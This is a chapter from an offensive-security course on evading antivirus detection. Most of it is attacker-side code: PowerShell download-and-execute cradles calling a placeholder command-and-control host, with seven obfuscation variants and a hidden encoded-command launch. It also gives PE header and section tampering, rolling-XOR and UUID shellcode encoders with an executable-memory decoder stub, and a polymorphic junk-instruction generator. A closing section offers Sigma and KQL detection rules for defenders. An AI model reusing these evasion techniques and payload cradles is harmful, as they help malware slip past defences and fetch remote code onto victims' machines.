Chapter 136

Obfuscation and Payload Encoding

Breaking static signatures at every layer: PowerShell tokenizer-level obfuscation (tick escapes, string concatenation, backtick insertion, type accelerator substitution), PE section entropy manipulation, shellcode XOR/ADD/ROT encoders with rolling keys, polymorphic stub generation, and the entropy/behavioral signals defenders use to find obfuscated payloads regardless of technique.

Scenario

Your PowerShell cradle IEX (New-Object Net.WebClient).DownloadString('http://c2/payload') is caught on sight by Windows Defender — the string literal IEX combined with DownloadString is a static signature. Your compiled C implant is also flagged: the PE headers haven't changed in months and the .text section has a known hash. Before executing anything, every layer needs obfuscation — the PS cradle, the shellcode dropper, and the shellcode itself. This chapter builds each layer from scratch.

Encoding vs Encryption vs Obfuscation

Three distinct but often conflated techniques: Encoding: Reversible transformation with no key — anyone can decode Base64, hex, URL-encoding, UTF-16 Purpose: format transformation, not security AV detection: trivially decoded — only works if AV doesn't decode before scanning Use: transport format (e.g., -EncodedCommand in PowerShell) Encryption: Reversible transformation WITH a secret key AES-256-GCM, XOR with unknown key, ChaCha20 Purpose: confidentiality — requires key to decode AV detection: encrypted payload looks like random bytes → low static entropy but decryption stub itself may be recognized Use: protecting payload until runtime decryption Obfuscation: Semantic-preserving transformation that obscures intent String splitting, variable renaming, dead code insertion, control flow flattening Purpose: break signature patterns without changing behavior AV detection: behavioral analysis still catches the obfuscated code at runtime Use: layer on top of encoding/encryption to break static sigs Best practice: combine all three 1. Obfuscate (rename, split strings, add junk) 2. Encrypt (AES-XOR the result) 3. Encode (base64 for transport) 4. Runtime: decode → decrypt → execute (the stub itself is also obfuscated)

PowerShell Tokenizer-Level Obfuscation

# Original (flagged immediately):
IEX (New-Object Net.WebClient).DownloadString('http://c2/p')

# Technique 1: Tick insertion (backtick escapes inside strings/commands)
# PowerShell ignores backticks inside string tokens and command names
`I`E`X (`N`ew-`Ob`je`ct N`et.`W`eb`Cl`ie`nt).`D`ow`nl`oa`d`St`ri`ng('http://c2/p')

# Technique 2: String concatenation (breaks up flagged substrings)
$c = 'Down'+'load'+'String'
$o = New-Object Net.WebClient
IEX ($o.$c('http://c2/p'))

# Technique 3: String reversal
$r = 'gnirtSdaolnwoD' ; $f = $r[-1..-$r.Length] -join ''   # = 'DownloadString'
(New-Object Net.WebClient).$f('http://c2/p') | IEX

# Technique 4: Character code array → join
$cmd = [char[]](73,69,88) -join ''       # = 'IEX'
$uri = [char[]](104,116,116,112,58,47,47,99,50,47,112) -join ''
$cmd ([System.Net.WebClient]::new().$([char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)-join'')($uri))

# Technique 5: Base64 encode the entire script, use -EncodedCommand
$script = 'IEX (New-Object Net.WebClient).DownloadString(''http://c2/p'')'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script))
powershell.exe -NoP -NonI -W Hidden -EncodedCommand $enc

# Technique 6: SecureString → BSTR (low visibility to string-scanning)
$ss = ConvertTo-SecureString 'IEX (New-Object ...' -AsPlainText -Force
$plain = [Runtime.InteropServices.Marshal]::PtrToStringAuto(
         [Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss))
Invoke-Expression $plain

# Technique 7: Type accelerator substitution
# [Net.WebClient] = [System.Net.WebClient] = &([Type]'System.Net.WebClient')::new()
# Invoke-Expression = &(Get-Command I*x) = &(gcm i*x)
&(gcm i*x) (&([Type]'System.Net.WebClient')::new().('Down'+'load'+'String')('http://c2/p'))

Invoke-Obfuscation Technique Reference

TechniqueWhat It BreaksDetected By
Token/string obfuscationString literal signaturesScript block logging + behavioral AMSI
-EncodedCommand Base64Plaintext command inspectionEvent 4103/4104, -EncodedCommand flag itself is a signal
Compress+Base64 (Compress-Command)String patterns in encoded payloadGZip magic bytes in decoded content, 4104
STDIN / clipboard injectionCommand-line inspection (4688)Clipboard access event; stdin redirect anomaly
SecureString carrierString scanning of variable valuesAMSI behavioral; SecureStringToBSTR from script = suspicious
Invoke-CradleCrafter variationsKnown WebClient/WebRequest patternsDNS queries + network behavior; all cradles eventually call a download API

PE Binary Obfuscation

// PE file signature evasion strategy:
// 1. Wipe obvious headers and rich header
// 2. Encrypt the payload section
// 3. Randomize section names
// 4. Add junk import table entries to change PE hash
// 5. Pad with random bytes to change file hash and modify entropy profile

// Step 1: Scramble PE Rich Header (compiler fingerprint)
void ScrubRichHeader(BYTE* peData) {
    // Rich header: located between DOS stub and NT headers
    // Signature: "Rich" XOR'd with checksum (variable offset)
    BYTE* dos = peData;
    // Search for 'Rich' signature backward from e_lfanew
    DWORD e_lfanew = *(DWORD*)(dos + 0x3C);
    for (DWORD i = 0x40; i < e_lfanew - 4; i++) {
        if (*(DWORD*)(dos + i) == 0x68636952) { // 'Rich'
            DWORD xorKey = *(DWORD*)(dos + i + 4);
            // Zero out from DanS to Rich
            memset(dos + 0x40, 0, i - 0x40 + 8);
            break;
        }
    }
}

// Step 2: Randomize section names (default: .text .rdata .data → flag compiler)
void RandomizeSectionNames(BYTE* peData) {
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(peData + ((PIMAGE_DOS_HEADER)peData)->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    const char* fakenames[] = { ".cfg", ".rsrc", ".didat", ".bound", ".edata" };
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        strncpy((char*)sec->Name, fakenames[i % 5], 8);
    }
}

// Step 3: Add fake imports to change PE hash and confuse import-based detection
// Add DLL names that look legitimate (e.g., "comctl32.dll", "uxtheme.dll")
// in the import directory — they'll resolve at load time but call nothing

# Python: strip PE timestamps, scramble checksums for distribution
import pefile
pe = pefile.PE('implant.exe')
pe.FILE_HEADER.TimeDateStamp = 0x5E000000  # fake 2020 timestamp
pe.OPTIONAL_HEADER.CheckSum = 0            # zero checksum (common in malware)
pe.write('implant_clean.exe')

Shellcode Encoding Techniques

// Multi-layer shellcode encoder: XOR with rolling key → ADD cipher → byte swap
// The decoder stub prepended to shellcode must also be obfuscated

// Encoder (build-time Python tool):
def encode_shellcode(sc: bytes, xor_key: int) -> bytes:
    """XOR with rolling key that changes every 4 bytes"""
    out = bytearray()
    for i, b in enumerate(sc):
        key = (xor_key + i) & 0xFF   # rolling XOR key
        out.append(b ^ key)
    return bytes(out)

// C decoder stub prepended to encoded shellcode:
void* DecodeAndExec(const BYTE* encoded, DWORD len, BYTE startKey) {
    BYTE* buf = (BYTE*)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    for (DWORD i = 0; i < len; i++)
        buf[i] = encoded[i] ^ ((startKey + i) & 0xFF);
    return buf;
}

// UUID encoding (Sektor7 technique): encode shellcode as UUID strings
// Each UUID represents 16 bytes of shellcode — stored in string array
// At runtime: UuidFromStringA() converts each UUID back to bytes into executable memory

#include 
#pragma comment(lib, "rpcrt4.lib")

BOOL DecodeUUIDShellcode(const char** uuids, DWORD count, BYTE* outBuf) {
    for (DWORD i = 0; i < count; i++) {
        RPC_STATUS r = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)(outBuf + i * 16));
        if (r != RPC_S_OK) return FALSE;
    }
    return TRUE;
}

// Usage: shellcode bytes → group into 16-byte chunks → format as UUID string
// e.g., 0xFC,0x48,0x83,0xE4,0xF0... → "FC4883E4-F0E8-C000-0000-415141505251"
// Strings stored as const char* array — looks like legitimate GUID data to static scanners

Polymorphic Decoder Stubs

// Polymorphic shellcode: the decoder stub changes on every build
// while the core payload remains the same (encrypted).
// Technique: insert random NOP-equivalent instructions before/between decode ops.

// NOP equivalents (x64): instructions that do nothing meaningful to execution state:
//   XCHG RAX, RAX     (0x48 0x90)
//   LEA RCX, [RCX+0]  (random register/displacement combos)
//   MOV R8, R8        (same reg source/dest)
//   ADD RDX, 0        (add zero)
//   PUSHFQ / POPFQ    (save and restore flags — net zero effect)

// Junk instruction generator (build-time):
#include 

void InsertJunk(BYTE* buf, DWORD* pos) {
    static const BYTE nopEquivs[][6] = {
        {0x48, 0x90},                         // XCHG RAX,RAX (NOP64)
        {0x48, 0x83, 0xC4, 0x00},             // ADD RSP, 0
        {0x48, 0x03, 0xC0},                    // ADD RAX, RAX... no wait
        {0x9C, 0x9D},                          // PUSHFQ; POPFQ
        {0x48, 0x87, 0xDB},                    // XCHG RBX,RBX
    };
    int idx = rand() % 5;
    // Determine length from table (hardcoded here for brevity)
    static const DWORD lens[] = {2, 4, 3, 2, 3};
    memcpy(buf + *pos, nopEquivs[idx], lens[idx]);
    *pos += lens[idx];
}

// Build polymorphic decoder at compile time by:
//   1. Generate decode loop body
//   2. Insert random NOP-equiv between each instruction
//   3. Vary register allocation (use R8 instead of RCX for loop counter, etc.)
// Result: every build produces a different byte sequence → different static hash

Detection Engineering

-- Key detection signals for obfuscated payloads:

-- 1. HIGH ENTROPY: encrypted/compressed payloads have entropy close to 8.0 bits/byte
--    Normal PE .text section: ~6.0-6.5; packed/encrypted: ~7.8-8.0
--    Tools: binwalk -E, pestudio, CAPE sandbox entropy analysis

-- 2. LONG BASE64 STRINGS in command lines / scripts
--    Event 4104 (Script Block Logging): flag base64 blobs > 500 chars
--    Event 4688 (Process Create): -EncodedCommand flag

-- 3. STRING CONCATENATION patterns (behavioral heuristic)
--    Script block logging captures the final executed string — obfuscation
--    is decoded by PowerShell before 4104 logging → logged in plaintext!
title: Suspicious PowerShell -EncodedCommand Usage
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-ec '
  condition: selection
level: medium

-- Sigma: high-entropy PE section (heuristic — requires custom field from EDR)
title: PE File With High-Entropy Encrypted Section
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith:
      - '.exe'
      - '.dll'
    FileEntropy|gt: 7.5    # custom field from sandbox/EDR
  condition: selection
level: medium

-- MDE KQL: PowerShell script blocks with obfuscation indicators
DeviceEvents
| where ActionType == "PowerShellCommand"
| where AdditionalFields has_any (
    "[char[", "ToBase64", "FromBase64",
    "SecureStringToBSTR", "EncodedCommand"
  )
| where AdditionalFields !has "Microsoft.PowerShell"  // exclude PS internals
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessCommandLine, AdditionalFields
The Obfuscation Paradox

Heavy obfuscation is itself a detection signal. A PowerShell script that contains no recognizable keywords but exclusively character arrays, base64 blobs, and string join operations is highly anomalous compared to normal administrative scripting. Detection engineers hunt "scripts that look weird" before they ever decode them — the shape of obfuscation is a fingerprint. The goal isn't maximum obfuscation complexity; it's obfuscation that blends into the baseline of the specific environment.

Q&A

If PowerShell Script Block Logging (Event 4104) logs the decoded script before execution, does obfuscation provide any value?

Yes, obfuscation still provides value — but at a different layer than is often assumed. Script Block Logging captures what PowerShell executes after its own parser decodes the obfuscation. So if your obfuscated script ultimately produces IEX (New-Object Net.WebClient).DownloadString(...), that decoded string will appear in Event 4104. The value of obfuscation in this context is: (1) defeating static file scanning before execution begins — the obfuscated script on disk doesn't match known signatures; (2) defeating AMSI's static scan of the script-before-execution — if the bypass is applied first in a separate block, subsequent blocks can run; (3) defeating proxy/network DLP scanning of the script in transit; (4) defeating string-matching rules on the command line (Event 4688) which capture command-line arguments but not the decoded script body. The real consequence for defenders is: 4104 with Script Block Logging enabled is significantly more powerful than 4688 alone, because it captures content at a post-decode layer. Organizations that have 4104 enabled with a full SIEM pipeline gain detection that is largely obfuscation-resistant. The attackers who invest the most in obfuscation are often targeting environments where 4104 isn't enabled — so verifying Script Block Logging is deployed fleet-wide is one of the highest-ROI defensive controls available for PowerShell-heavy attack chains.